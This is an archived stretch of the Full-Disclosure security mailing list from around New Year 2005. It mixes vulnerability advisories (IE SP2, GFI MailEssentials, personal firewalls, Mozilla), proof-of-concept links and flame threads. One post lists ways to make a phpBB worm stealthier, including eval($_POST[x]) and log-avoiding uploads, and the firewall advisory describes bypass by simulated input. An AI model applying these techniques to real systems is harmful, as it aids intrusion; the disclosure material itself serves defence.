which point two help windows will be displayed. On Mon, 27 Dec 2004 11:57:24 -0500, Michael Evanchik wrote: > > works on around 30 people i know so far. Some it doesnt, You have to be > admin, also view the source code you have to have the local html file in > c:\windows\pchealth\helpctr\ ect specified > > Another could have been used > > -----Original Message----- > From: full-disclosure-bounces at lists.netsys.com > [mailto:full-disclosure-bounces at lists.netsys.com]On Behalf Of Ron Jackson > Sent: Sunday, December 26, 2004 11:14 AM > To: full-disclosure at lists.netsys.com > Subject: RE: [Full-Disclosure] YEY AGAIN Automatic > remotecompromiseofInternetExplorer Service Pack 2 XP SP2 > > > > > Hmm, > > Popped up a help window with a few lines of text in it?but that was it. > No files in startup. Winxpsp2 fully patched, Sygate personal firewall, > Adaware SE professional. > > > > ________________________________ > > > From: full-disclosure-bounces at lists.netsys.com > [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Michael > Evanchik > Sent: Sunday, December 26, 2004 12:07 AM > To: Aviv Raff; full-disclosure at lists.netsys.com > Subject: RE: [Full-Disclosure] YEY AGAIN Automatic remote > compromiseofInternetExplorer Service Pack 2 XP SP2 > > > > > try www.michaelevanchik.com/security/microsoft/ie/xss/index.html > > > > > > might be a little more reliable PoC > > > > > > 1) new not known by AVP codes > > > 2) uses all start up menue languages > > > > > > > > > > > > > > > > > > > > > > > > > > > -----Original Message----- > From: Michael Evanchik [mailto:mevanchik at relationship1.com] > Sent: Saturday, December 25, 2004 9:11 PM > To: Aviv Raff; full-disclosure at lists.netsys.com > Subject: RE: [Full-Disclosure] YEY AGAIN Automatic remote compromise > ofInternetExplorer Service Pack 2 XP SP2 > > > Hi Aviv, > > > > > > Not sure what your issue is. This has been tested on many people, and it > works on everyone. Maybe its your pop up blocker? Maybe its your AVP? > > > > > > This exploit is on Securityfocus and k-otik as they tested as well. Http > equiv verified before any post was made to FD. > > > > > > In either case we did not code around pop up blockers nor around known virus > strings. This PoC is not for blackhats kiddies. > > > > > > Mike > > > > > > > > > www.michaelevanchik.com > > > > > > -----Original Message----- > From: full-disclosure-bounces at lists.netsys.com > [mailto:full-disclosure-bounces at lists.netsys.com]On Behalf Of Aviv Raff > Sent: Saturday, December 25, 2004 7:47 AM > To: full-disclosure at lists.netsys.com; 'Michael Evanchik' > Subject: RE: [Full-Disclosure] YEY AGAIN Automatic remote compromise > ofInternetExplorer Service Pack 2 XP SP2 > > > Hi, > > > > > > Somehow the POC does not work on both of my WinXPSP2 pro boxes. > > > Both are fully patched, but one is hardened and the other is after a clean > install. > > > > > > After running the POC, the IE opens the Help window, but then freezes for a > couple of minutes. > > > After IE stops freezing, there is no Microsoft Office.hta on the startup > folder. > > > > > > And yes, I'm running this on an Administrator account. > > > > > > Can anyone else confirm this? > > > > > > -- Aviv Raff > >From "Zen and the Art of Why Linux Sucks": "Ahh.. Can you smell the 'open > source' zealots in the morning?". > > > > > > > > > ________________________________ > > > From: full-disclosure-bounces at lists.netsys.com > [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Michael > Evanchik > Sent: Friday, December 24, 2004 6:11 PM > To: full-disclosure at lists.netsys.com; bugtraq at securityfocus.com; > NTBUGTRAQ at LISTSERV.NTBUGTRAQ.COM; vuln at vulnwatch.org > Subject: [Full-Disclosure] YEY AGAIN Automatic remote compromise of > InternetExplorer Service Pack 2 XP SP2 > > > > http://freehost07.websamba.com/greyhats/sp2rc-analysis.htm > > > > > > Microsoft Internet Explorer XP SP2 Fully Automated Remote Compromise > > Dec, 21 2004 > > Vulnerable > ---------- > - Microsoft Internet Explorer 6.0 > - Microsoft Windows XP Pro SP2 > - Microsoft Windows XP Home SP2 > > Not Tested > ------------------------ > - Microsoft Windows 98 > - Microsoft Internet Explorer 5.x > - Microsoft Windows 2003 Server > > > > Severity > --------- > Critical - Remote code execution, no user intervention > > Proof of Concept? > ------------------ > - http://freehost07.websamba.com/greyhats/sp2rc.htm > > - If an error is shown, press OK. This is normal. > > - Notice in your startup menu a new file called Microsoft Office.hta. When > run, this file will download and launch a harmless executable (which > includes a pretty neat fire animation) > > > > > > > > Michael Evanchik > > Relationship1 > > p: 914-921-4400 > > f: 914-921-6007 > > mailto:mevanchik at relationship1.com > > web: http://www.relationship1.com > > > > > > > ##################################################################################### > This Mail Was Scanned by 012.net Anti Virus Service - Powered by TrendMicro > Interscan > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > > > From dave at immunitysec.com Mon Jan 3 15:30:55 2005 From: dave at immunitysec.com (Dave Aitel) Date: Mon, 03 Jan 2005 10:30:55 -0500 Subject: [Full-Disclosure] Multiple Backdoors found in eEye Products (IRIS and SecureIIS) In-Reply-To: <1104472854.2022.3515.camel@meposs> References: <200412291517.iBTFGsE6011085@lists.netsys.com> <1104472854.2022.3515.camel@meposs> Message-ID: <41D9652F.7050606@immunitysec.com> Daniel H. Renner wrote: >I recall an interview with a highly placed security executive back in >the later '90s. In this interview he lamented being in the security >business in the United States with a line similar to: > >"If you create and announce a security product in the United States, you >will very shortly have the NSA entering your premises and demanding 'Ok, >where is our backdoor?'" > >And remember, eEye was started after one of it's co-founders woke up to >federal guns pointed at his head one fine morning, having been mistaken >as someone who had penetrated somewhere he shouldn't have. > >Not to bash my own country here but, this leads to a question: How can >any security product, sub-product or service created in the U.S. hold >credibility even with the good intentions that the creators may have >originally had? > > It's an interesting question, and Immunity answers it in this email we sent to DailyDave a while back. http://archives.neohapsis.com/archives/dailydave/2004-q3/0206.html Dave Aitel Immunity, Inc. From kruse at krusesecurity.dk Mon Jan 3 16:09:03 2005 From: kruse at krusesecurity.dk (Peter Kruse) Date: Mon, 3 Jan 2005 17:09:03 +0100 Subject: [Full-Disclosure] Remote DoS in GFI MailEssentials due to a bug in Microsoft HTML parser Message-ID: CSIS Security Advisory: [CSIS2005-1) Remote DoS in GFI MailEssentials due to a bug in Microsoft HTML parser Date Published: 3rd of January 2005 Product description: GFI MailEssentials for Exchange/SMTP offers spam protection and email management at server level. GFI MailEssentials offers a fast set-up and a high spam detection rate using Bayesian analysis and other methods - no configuration required, very low false positives through its automatic whitelist, and the ability to automatically adapt to your email environment to constantly tune and improve spam detection. GFI MailEssentials also adds email management tools to your mail server: disclaimers, mail archiving and monitoring, Internet mail reporting, list server, server-based auto replies and POP3 downloading. Summary: Specially crafted HTML emails could cause GFI MailSecurity and GFI MailEssentials to stop processing, with emails getting stuck in the IIS queue or Exchange pre-submission queues. There will be no error indications other than MailQueue stops processing. Restarting the server or services will not help. The flaw will occur when MailEssentials processes the strings in an email subject, body or in an attached text file. Exploitation is trivial. Vulnerability Class: This flaw affects all tested versions of GFI MailEssentials and will cause a remote Denial of Service. Not tested are other programs making use of Microsoft HTML parser. Details: CSIS has discovered a flaw in GFI MailEssentials 9 and 10.x and GFI MailSecurity 8.x where a specially crafted HTML email causes the products to stop processing, resulting in emails getting stuck in the IIS/Exchange queues. The problem lies in a Microsoft HTML library that is made use of by a GFI library, common to GFI MailSecurity and GFI MailEssentials. A malicious user can exploit this flaw and craft an e-mail containing a specially crafted javascript. When the e-mail containing the javascript is received by MailEssentials, it will be processed resulting in a DoS. The mail will reside in the queues until it's manually removed. If the server is rebooted without removing the affected mail from the queues, the same mail gets processed again and again and a new DoS will occur. MailEssentials will not process any other in- or outbound e-mails until this mail is completely removed from the bad mail queue. This is a ugly scenario since you'll end up looking for a needle in a haystack. CSIS would like to underline that this flaw is really a result of a bug in Microsoft HTML parser. As such, this problem is not directly related to GFI. We suspect other products are vulnerable as well. Impact: Medium-High: This is a remote DoS. Leaving no trace, no warnings and no indication of which e-mail causing the problem. Solution: A fix has been released: GFI MailEssentials 10.x - ftp://ftp.gfi.com/patches/ME10_PATCH_20041220_01.zip GFI MailEssentials 9 - ftp://ftp.gfi.com/patches/me9_PATCH_20041220_01.zip GFI MailSecurity 8.x - ftp://ftp.gfi.com/patches/MSEC8_PATCH_20041220_01.zip It's strongly recommended to apply these patches as soon as possible. Also it would be wise to set up an alert mechanism monitoring number of mails in queue. CSIS also recommend using the GFI monitor function to see if mails gets processed at regular intervals. Affected Products: GFI MailSecurity 8.x GFI MailEssentials 9 GFI MailEssentials 10.x Running on Microsoft Windows 2000 Server with all relevant patches installed. CSIS would like to thank GFI for a quick and professional response. It took only 5 days for GFI to troubleshoot and fix this issue! CVE: The Common Vulnerabilities and Exposures (CVE) project has assigned the name CAN-2004-1312 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. Links For more information about the patches see GFI KB article: http://kbase.gfi.com/showarticle.asp?id=KBID002249 --- Med venlig hilsen // Kind regards Peter Kruse Security- and virusanalyst http://www.csis.dk PGP fingerprint 79FD 0648 158E 6B9E 236F CFDA 7C58 64D6 BE83 FA60 From pauls at utdallas.edu Mon Jan 3 16:16:32 2005 From: pauls at utdallas.edu (Paul Schmehl) Date: Mon, 03 Jan 2005 10:16:32 -0600 Subject: [Full-Disclosure] Multiple Backdoors found in eEye Products (IRIS and Secure In-Reply-To: <41D8C99D.1090304@thievco.com> References: <41D867D2.9030105@immunitysec.com> <41D8C99D.1090304@thievco.com> Message-ID: --On Sunday, January 02, 2005 08:27:09 PM -0800 Blue Boar wrote: > > As for proof in this particular case, I find the claim rather > extraordinary, so I would place the burden of proof on the claimer. Let's > see an exploit. > You're never going to see one. It's too sooper sekrit to share with us mere mortals. (Sort of like the alien corpses they have hidden out in Area 51.) Paul Schmehl (pauls at utdallas.edu) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu From barrie at reboot-robot.net Mon Jan 3 16:00:38 2005 From: barrie at reboot-robot.net (Barrie Dempster) Date: Mon, 03 Jan 2005 16:00:38 +0000 Subject: [Full-Disclosure] Suspect phpBB users In-Reply-To: <4.3.2.7.2.20041225184906.02c3be50@localhost> References: <4.3.2.7.2.20041225184906.02c3be50@localhost> Message-ID: <1104768038.11372.11.camel@localhost.localdomain> On Sat, 2004-12-25 at 18:54 -0500, Jack Yan wrote: > Dear Full-Disclosure members: > > I am not a computer expert, just a regular Joe who hopes this information > may be useful to you. > We are running phpBB and last week, a DoS attack was launched against us. > We have since upgraded, but among our new users over the last few days > have been a Weber361, a Weber395, and a nderevyanko. > Googling the last user name, I've found 4,900 references?most with > guestbooks or forums?to which nderevyanko has signed up. He has been > preceded by a few Webers, and some Irenas, often citing that > killhim.boom.ru is their home page. I found 10 such users on my forum at the site in my signature. Attached is a CSV file containing the export from phpbb, they all seem to have the same password. none of them have posted anything. Doesn't look like this is a DoS attack or anything like that I believe it's most likely an attempt at google spamming with the URL they set as their homepage. I'd recommend disabling them and modifying the homepage to your own URL. I wouldn't delete them as if they have a script this would be a sign that the site isn't previously tagged and would then allow them to regenerate. The accounts on my site where created on the 22/23 of December incase that becomes relevant (the site being down leads me to believe this is the end of it) With Regards.. Barrie Dempster (zeedo) - Fortiter et Strenue http://www.bsrf.org.uk [ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ] -------------- next part -------------- A non-text attachment was scrubbed... Name: phpbb_users.csv Type: text/x-comma-separated-values Size: 3333 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/47eb73e2/attachment.bin -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/47eb73e2/attachment-0001.bin From emiraga at emiraga.com Mon Jan 3 16:40:28 2005 From: emiraga at emiraga.com (EmirAga) Date: Mon, 3 Jan 2005 17:40:28 +0100 Subject: [Full-Disclosure] phpBB Worm writers are dumb Message-ID: <200501031740.28907.emiraga@emiraga.com> lots has passed since releasing a phpbb worm by some stupid people, i will list my oppinion about it. - why release a worm? not sure about newer ones, but first one did not do anything, so, whats the point?. Worm will warn whole world about vulnerability and most of servers will patch it, without worm it would stay just another bug in their forum and most non will worry about it. Security _penetators_ are loosing their jobs because of you. - first worm sent a thousand requests before infection. The newer one do 'wget' it from static http location. STUPID. Simply worm could send his self by POST or FILE_UPLOAD method since they are not written in logs. In logs would be written a small request that most administrators will not notice. what's wrong with eval($_POST[x])? - first worm wrote his self to current directory, we all know that in most cases this will fail. Better solution would be to write to /tmp, or even better to use upload $_FILES[worm][tmp_name]. So stupid! - Why didn't they removed comments and replaced their variables with smaller ones, so worm will go faster. i just hope no one will rewrite its code with newer _version_ cuz then i will be the stupid one here. just wanted to say that worm writing sucks and real programmer will never release one. greets From bugzilla at redhat.com Mon Jan 3 17:16:04 2005 From: bugzilla at redhat.com (Bugzilla) Date: Mon, 03 Jan 2005 12:16:04 -0500 Subject: [Full-Disclosure] Encrypted document Message-ID: An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/2a148749/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: Information.scr Type: application/octet-stream Size: 21522 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/2a148749/attachment.obj From johncybpk at gmx.net Mon Jan 3 18:58:01 2005 From: johncybpk at gmx.net (johncybpk at gmx.net) Date: Tue, 4 Jan 2005 00:28:01 +0530 Subject: [Full-Disclosure] Mail Delivery (failure full-disclosure@lists.netsys.com) Message-ID: <200501031858.j03Iw1vO018791@lists.netsys.com> -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/83d8a828/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: audio/x-wav Size: 31744 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/83d8a828/attachment.wav From measl at mfn.org Mon Jan 3 19:11:48 2005 From: measl at mfn.org (J.A. Terranson) Date: Mon, 3 Jan 2005 13:11:48 -0600 (CST) Subject: [inbox] Re: [Full-Disclosure] This sums up Yahoo!s securitypolicy to a -T- In-Reply-To: References: Message-ID: <20050103130812.Y41653@ubzr.zsa.bet> On Wed, 29 Dec 2004, Exibar wrote: > Yes I am aware that the laws differe from state to state. This would be a > federal case, a US Federal case, if it ever got that far, it won't. You wanna explain how you came to this brilliant conclusion? How is an estate issue federal? > No > IANAL, but have first hand knowledge of a case very similliar to this. Stop watching TV. > Digital property and physical property are considered the same in cases like > this. It is something owned by the deceased. It becomes the property of > the inheritor. I hope your "consulting practice" doesn't hand out opinions like this. > No I cannot cite case law to back up my statements. Then you are making this shit up as you go. > If someone were to die without a will, and their > parents/wife/husband/kids/ etc are the legal hiers, wouldn't they also > inherit that person's ameritrade stock broker account, or at least > everything inside said account? Why is e-mail different? So, here you are asking questions that show you don't have a clue, after telling us how you *know*... Just stop trying to be the One Source Of Knowledge, and STFU when you don't know what you're talking about. > > Exibar -- Yours, J.A. Terranson sysadmin at mfn.org 0xBD4A95BF Civilization is in a tailspin - everything is backwards, everything is upside down- doctors destroy health, psychiatrists destroy minds, lawyers destroy justice, the major media destroy information, governments destroy freedom and religions destroy spirituality - yet it is claimed to be healthy, just, informed, free and spiritual. We live in a social system whose community, wealth, love and life is derived from alienation, poverty, self-hate and medical murder - yet we tell ourselves that it is biologically and ecologically sustainable. The Bush plan to screen whole US population for mental illness clearly indicates that mental illness starts at the top. Rev Dr Michael Ellner From gadgeteer at elegantinnovations.org Mon Jan 3 19:22:35 2005 From: gadgeteer at elegantinnovations.org (gadgeteer at elegantinnovations.org) Date: Mon, 3 Jan 2005 12:22:35 -0700 Subject: [Full-Disclosure] Re: Insecurity in Finnish parlament (computers) In-Reply-To: <200412280149.iBS1ncAN017692@turing-police.cc.vt.edu> References: <41CBBE6E.7040507@lava.net> <200412280149.iBS1ncAN017692@turing-police.cc.vt.edu> Message-ID: <20050103192235.GC1698@hyper> On Mon, Dec 27, 2004 at 08:49:38PM -0500, Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) wrote: > On Sun, 26 Dec 2004 14:34:24 GMT, James Tucker said: > > not possible. This is not to say that communications don't get > > monitored, it is just to say that the report of 'everything you say is > > being watched' is quite simply false. > > Maybe it is all being watched, and maybe it isn't. A bit of thought shows > that acting as if it is all watched is the only sane way to behave - if you > know only 10% is watched, but can't tell *which* 10%, there's only one > thing to do.... google "Semantic Forests" -- Chief Gadgeteer Elegant Innovations From guninski at guninski.com Mon Jan 3 20:20:21 2005 From: guninski at guninski.com (Georgi Guninski) Date: Mon, 3 Jan 2005 22:20:21 +0200 Subject: [Full-Disclosure] Insecurity in Finnish parlament (computers) In-Reply-To: References: Message-ID: <20050103202021.GC4966@sivokote.iziade.m$> so your company is making the finish lawz and it is gonna sue the guy with his tax money? your email revived my faith in modern democracy. btw, i don't see anything wrong with finish parliament using unpatched windoze - it just helps more people take part in the lawz making - what does your constitution say about this? -- mother should i trust the government -- pink floyd On Thu, Dec 23, 2004 at 03:54:00PM +0200, Mustaj?rvi Olli wrote: > Mr. Jansson has expressed his false claims about the ICT security issues of > the Finnish Parliament. Mr. Jansson has expressed his lies now so many times, > for instance http://lists.netsys. > com/pipermail/full-disclosure/2004-December/030078.html, that we will bring a > charge against him in court. We like to underline again that Mr. Jansson's > claims are false and incomprehensibly stupid. > > Head of ICT Office Olli Mustaj?rvi > > The Finnish Parliament Head of IT Office FIN- 00102 Helsinki Finland > Email:firstname.surname at eduskunta.fi WWW: www.eduskunta.fi > > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html From chows at ozemail.com.au Mon Jan 3 20:33:27 2005 From: chows at ozemail.com.au (Gregh) Date: Tue, 4 Jan 2005 07:33:27 +1100 Subject: [Full-Disclosure] Trivial Bug in Symantec Security Products References: Message-ID: <004901c4f1d3$7ab82b20$6500a8c0@p43400> ----- Original Message ----- From: "J. Oquendo" To: Sent: Thursday, December 30, 2004 9:56 AM Subject: [Full-Disclosure] Trivial Bug in Symantec Security Products > > Somehow, Symantec engineers have not implemented a mechanism to disallow a > user from installing the patches via changing the date on their computer > back to when the original program was installed and then running the > "Intelligent Updater." You think THAT is bad? Up till NIS2005 which I haven't tested so cant say if it does or doesn't, you could install Nortons, run the year and then wipe your machine and reinstall all then install Nortons again and get yet another full year licence without paying a cent, over and over and over. In short, buy once and never pay again. Greg. From ferruh at mavituna.com Mon Jan 3 20:09:38 2005 From: ferruh at mavituna.com (Ferruh Mavituna) Date: Mon, 3 Jan 2005 22:09:38 +0200 Subject: [Full-Disclosure] Multiple Firewall Products Bypass Vulnerability Message-ID: <200501032010.j03KAsvO023135@lists.netsys.com> ------------------------------------------------------------------- Multiple Firewall Products Bypass Vulnerability ------------------------------------------------------------------- Online URL : http://ferruh.mavituna.com/article/?769 Download POC : http://ferruh.mavituna.com/opensource/firewallbypass.zip (Also I attached vbs files as txt, one of them is -mousecontrol.txt- vb.net source code) This is a generic problem of common Personal Firewall products which are accept shortcuts or provide an interface that enables to click without require a password for controlled actions (acting as server -listening ports-, executing another program, connecting to another computer etc.). ------------------------------------------------------------------- Problem; ------------------------------------------------------------------- Most of personal firewalls allow shortcuts or interface for controlling traffic. It's simple to bypass these firewalls by a multithreaded program and sending keys or by contolling mouse. This flaw enables that any Trojan or similar programs can easily bypass firewall and act as a server or access to another computer. Also most of these firewalls have a "remember" option so if you bypass firewall and successfully exploit it, firewall will never ask again. This is a similar threat with shattering attacks, but different method and impact. Vulnerable Products (Sending Key Method and Mouse Control); These products are vulnerable to both of "Sending Key Method" and "Mouse Control Method" Test Platforms; Fully Patched Windows XP Professional and Windows 2003 Enterprise Edition (May 19, 2004 - 01.01.2005) 1. ZoneAlarm / ZoneAlarm Pro (www.zonelabs.com) | Fixed I. 4.5.530.000 - Tested II. 4.5.538.001 - Tested III. 5 and newer versions are not vulnerable... 2. Kerio (www.kerio.com) I. 4.0.14 - Tested II. All Versions 3. Agnitium Outpost Firewall (www.agnitium.com) I. 2.1.303.4009 (314) - Tested II. 2.5.369.4608 (369) - Tested II. All Versions 4. Kaspersky Anti-Hacker (www.kaspersky.com) I. 1.5.119.0 - Tested II. All Versions 5. Look 'n' Stop (www.looknstop.com) I. 2.04p2 - Tested II. All Versions 6. Symantec's Norton Personal Firewall (www.norton.com) I. 2004 - Tested II. All Versions ------------------------------------------------------------------- Vulnerable Products (Mouse Control); ------------------------------------------------------------------- These products are only vulnerable to "Mouse Control Method", because they don't accept shortcuts but still vulnerable to "Mouse Control" attacks. 1. Panda Platinum Internet Security I. 8.03 (tested) II. All Versions 2. Omniquad Personal Firewall I. 1.1 (tested) II. All Versions ------------------------------------------------------------------- Proof of Concept; ------------------------------------------------------------------- 2 Proof of Concepts attached to advisory (also some other POCs for some firewalls) First POC (bypassSendKey.vbs) written in VBScript (.vbs), This POC include required samples for ZoneAlarm, Kerio, Agnitium, Kaspersky Anti-Hacker, Look 'n' Stop and Symantec's Norton Personal Firewall. This script is executing an instance of itself for multithreading and send shortcuts to firewall while first instance trying to connect internet. I didn't write an auto determine firewall function (but it's so easy), so you need to set it by yourself. Second (bypassMouseControl.txt) simulates an example of bypassing Zone Alarm Firewall by with mouse control, code in VB.NET. Program is not using a real multithread because some firewalls interrupt executing of program directly. So program is executing another instance of itself with an argument. Both of them add themselves to secure app list of firewalls and then bypass active firewall. Also I attached testFirewall.vbs for testing your firewall for application control. ------------------------------------------------------------------- Solution; ------------------------------------------------------------------- All firewalls should ask password for all kind of "Allow" actions. In fact passwords can be fooled because of its nature but it is the best user friendly / secure solution for protection. As a user of these firewalls, if your firewall supports to "deny all default" option, enable it, so your firewall deny all connections by default. After that you may can manually select programs for allow them. ------------------------------------------------------------------- Final Words; ------------------------------------------------------------------- This is a methodology for bypassing interacted firewalls so it's possible that this advisory affects other firewalls in market. Also it's possible that future firewalls will be affected too. I think for now this is a serious problem for firewalls, until they imply password/random human need text method for "Allow/Deny" actions. ------------------------------------------------------------------- History; ------------------------------------------------------------------- Discovered: 03.05.2004 Vendors Informed: 28.08.2004 Published: 03.01.2005 ------------------------------------------------------------------- Vendors Status; ------------------------------------------------------------------- Special thanks to ZoneLabs Team. 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Name: Kerio.txt Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/7a4a75dd/attachment-0007.txt From luchenghuai at yahoo.com Mon Jan 3 20:20:08 2005 From: luchenghuai at yahoo.com (Chenghuai Lu) Date: Mon, 3 Jan 2005 12:20:08 -0800 (PST) Subject: [Full-Disclosure] Microsoft Windows BMP file buffer overflow Message-ID: <20050103202008.16428.qmail@web53701.mail.yahoo.com> Double click the bmp file as attached in windows. __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com -------------- next part -------------- A non-text attachment was scrubbed... Name: bad.bmp Type: image/bmp Size: 21 bytes Desc: bad.bmp Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/3a6a1389/attachment.bin From joel.esler at rcert-s.army.mil Mon Jan 3 21:50:46 2005 From: joel.esler at rcert-s.army.mil (Esler, Joel - Contractor) Date: Mon, 3 Jan 2005 16:50:46 -0500 Subject: [Full-Disclosure] Multiple Backdoors found in eEye Products(IRIS and Secure Message-ID: <41C902FBC7F1EA47933D76631B1704EE2F7A12@rcertsexch.rcert-s.army.mil> It's too 1337. -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Paul Schmehl Sent: Monday, January 03, 2005 11:17 AM To: Blue Boar; Dave Aitel Cc: full-disclosure at lists.netsys.com Subject: Re: [Full-Disclosure] Multiple Backdoors found in eEye Products(IRIS and Secure --On Sunday, January 02, 2005 08:27:09 PM -0800 Blue Boar wrote: > > As for proof in this particular case, I find the claim rather > extraordinary, so I would place the burden of proof on the claimer. > Let's see an exploit. > You're never going to see one. It's too sooper sekrit to share with us mere mortals. (Sort of like the alien corpses they have hidden out in Area 51.) Paul Schmehl (pauls at utdallas.edu) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From p.nolan at comcast.net Tue Jan 4 01:20:06 2005 From: p.nolan at comcast.net (Patrick Nolan) Date: Mon, 3 Jan 2005 17:20:06 -0800 Subject: [Full-Disclosure] phpBB Worm writers are dumb In-Reply-To: <200501031740.28907.emiraga@emiraga.com> Message-ID: <200501040117.j041HAvO009404@lists.netsys.com> I forget who initially mentioned this but I recall in one off-the-record conversation that virus authoring groups rarely have a QA department. For this, white hats and security professionals can be thankful. Regards, Patrick Nolan Virus Researcher - Fortinet Inc. http://www.fortinet.com To Submit A Virus: pkzip/winzip password infected to submitvirus at fortinet dot com From sovrevage at gmail.com Tue Jan 4 07:47:32 2005 From: sovrevage at gmail.com (=?ISO-8859-1?Q?Stian_=D8vrev=E5ge?=) Date: Tue, 4 Jan 2005 08:47:32 +0100 Subject: [Full-Disclosure] phpBB Worm writers are dumb In-Reply-To: <200501031740.28907.emiraga@emiraga.com> References: <200501031740.28907.emiraga@emiraga.com> Message-ID: On Mon, 3 Jan 2005 17:40:28 +0100, EmirAga wrote: > lots has passed since releasing a phpbb worm by some stupid people, i will > list my oppinion about it. > > - why release a worm? not sure about newer ones, but first one did not do > anything, so, whats the point?. Worm will warn whole world about > vulnerability and most of servers will patch it, without worm it would stay > just another bug in their forum and most non will worry about it. Security > _penetators_ are loosing their jobs because of you. > So, releasing a worm that does nothing but warn the world and getting the holes patched? I would agree this is stupid from a black-hat's point of view, but I think it's better that some kiddies exploit and expose the vuln/exploit than some organized criminals. Have you ever done something for the kick off it? The message I'm replying to now, is there a point? Except saying they are stupid? > - first worm sent a thousand requests before infection. The newer one do > 'wget' it from static http location. STUPID. Simply worm could send his self > by POST or FILE_UPLOAD method since they are not written in logs. In logs > would be written a small request that most administrators will not notice. > what's wrong with eval($_POST[x])? It is possible for the authors to replace the scripts and hence, load different payloads as time goes, it hasn't been done, but it is a possibility. I would say this is harder with self-carrying code. > - first worm wrote his self to current directory, we all know that in most > cases this will fail. Better solution would be to write to /tmp, or even > better to use upload $_FILES[worm][tmp_name]. So stupid! > > - Why didn't they removed comments and replaced their variables with smaller > ones, so worm will go faster. Agree with this one, it's not very "nice" code to look at, especially when it's in some strange foreign language. > i just hope no one will rewrite its code with newer _version_ cuz then i will > be the stupid one here. > > just wanted to say that worm writing sucks and real programmer will never > release one. > > greets I myself are fascinated by worms, but then again I'm not a real programmer. My two cents - Stian From kf_lists at digitalmunition.com Tue Jan 4 07:44:16 2005 From: kf_lists at digitalmunition.com (KF (Lists)) Date: Tue, 04 Jan 2005 02:44:16 -0500 Subject: [Full-Disclosure] DMA[2005-0103a] - 'William LeFebvre "top" format string vulnerability' Message-ID: <41DA4950.7070606@digitalmunition.com> Moving forward my work will be released independent of any previous affiliations. Once I have a web presence I will let you folks know. -Kevin Finisterre -------------- next part -------------- A non-text attachment was scrubbed... Name: top_ex.pl Type: application/x-perl Size: 2931 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/be1d0356/attachment.bin -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: DMA[2005-0103a].txt Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/be1d0356/attachment.txt From jb at secunia.com Tue Jan 4 08:52:22 2005 From: jb at secunia.com (Jakob Balle) Date: Tue, 04 Jan 2005 09:52:22 +0100 Subject: [Full-Disclosure] Secunia Research: Mozilla / Mozilla Firefox Download Dialog Source Spoofing Message-ID: <1104828742.29936.93.camel@ts1.int.secunia.com> ====================================================================== Secunia Research 04/01/2005 - Mozilla / Mozilla Firefox Download Dialog Source Spoofing - ====================================================================== Table of Contents Affected Software....................................................1 Severity.............................................................2 Description of Vulnerability.........................................3 Solution.............................................................4 Time Table...........................................................5 Credits..............................................................6 About Secunia........................................................7 Verification.........................................................8 ====================================================================== 1) Affected Software Firefox 1.0 Mozilla 1.7.3 Other versions may also be affected. ====================================================================== 2) Severity Rating: Less critical Impact: Spoofing Where: From remote ====================================================================== 3) Description of Vulnerability Secunia Research has discovered a vulnerability in Mozilla / Mozilla Firefox, which can be exploited to spoof the source displayed in the Download Dialog box. The problem is that long sub-domains and paths aren't displayed correctly, which therefore can be exploited to obfuscate what is being displayed in the source field of the Download Dialog box. The vulnerability has been confirmed in Mozilla 1.7.3 for Linux and Mozilla Firefox 1.0. Mozilla Bugzilla report: https://bugzilla.mozilla.org/show_bug.cgi?id=275417 ====================================================================== 4) Solution Currently, no solution is available. However, the vendor reports that this vulnerability will be fixed in upcoming versions of the affected products. ====================================================================== 5) Time Table 24/11/2004 - Vulnerability reported to vendor. 20/12/2004 - The vendor published a public Bugzilla report regarding this vulnerability. 04/01/2005 - Public disclosure. ====================================================================== 6) Credits Discovered by Jakob Balle, Secunia Research. ====================================================================== 7) About Secunia Secunia collects, validates, assesses, and writes advisories regarding all the latest software vulnerabilities disclosed to the public. These advisories are gathered in a publicly available database at the Secunia web site: http://secunia.com/ Secunia offers services to our customers enabling them to receive all relevant vulnerability information to their specific system configuration. Secunia offers a FREE mailing list called Secunia Security Advisories: http://secunia.com/secunia_security_advisories/ ====================================================================== 8) Verification Please verify this advisory by visiting the Secunia web site: http://secunia.com/secunia_research/2004-15/advisory/ Complete list of vulnerability reports released by Secunia Research: http://secunia.com/secunia_research/ ====================================================================== From dayioglu at metu.edu.tr Tue Jan 4 09:51:15 2005 From: dayioglu at metu.edu.tr (dayioglu at metu.edu.tr) Date: Tue, 4 Jan 2005 15:21:15 +0530 Subject: [Full-Disclosure] Mail Delivery (failure full-disclosure@lists.netsys.com) Message-ID: <200501040951.j049pAvO002834@lists.netsys.com> -------------- next part -------------- An HTML attachment was scrubbed... URL: 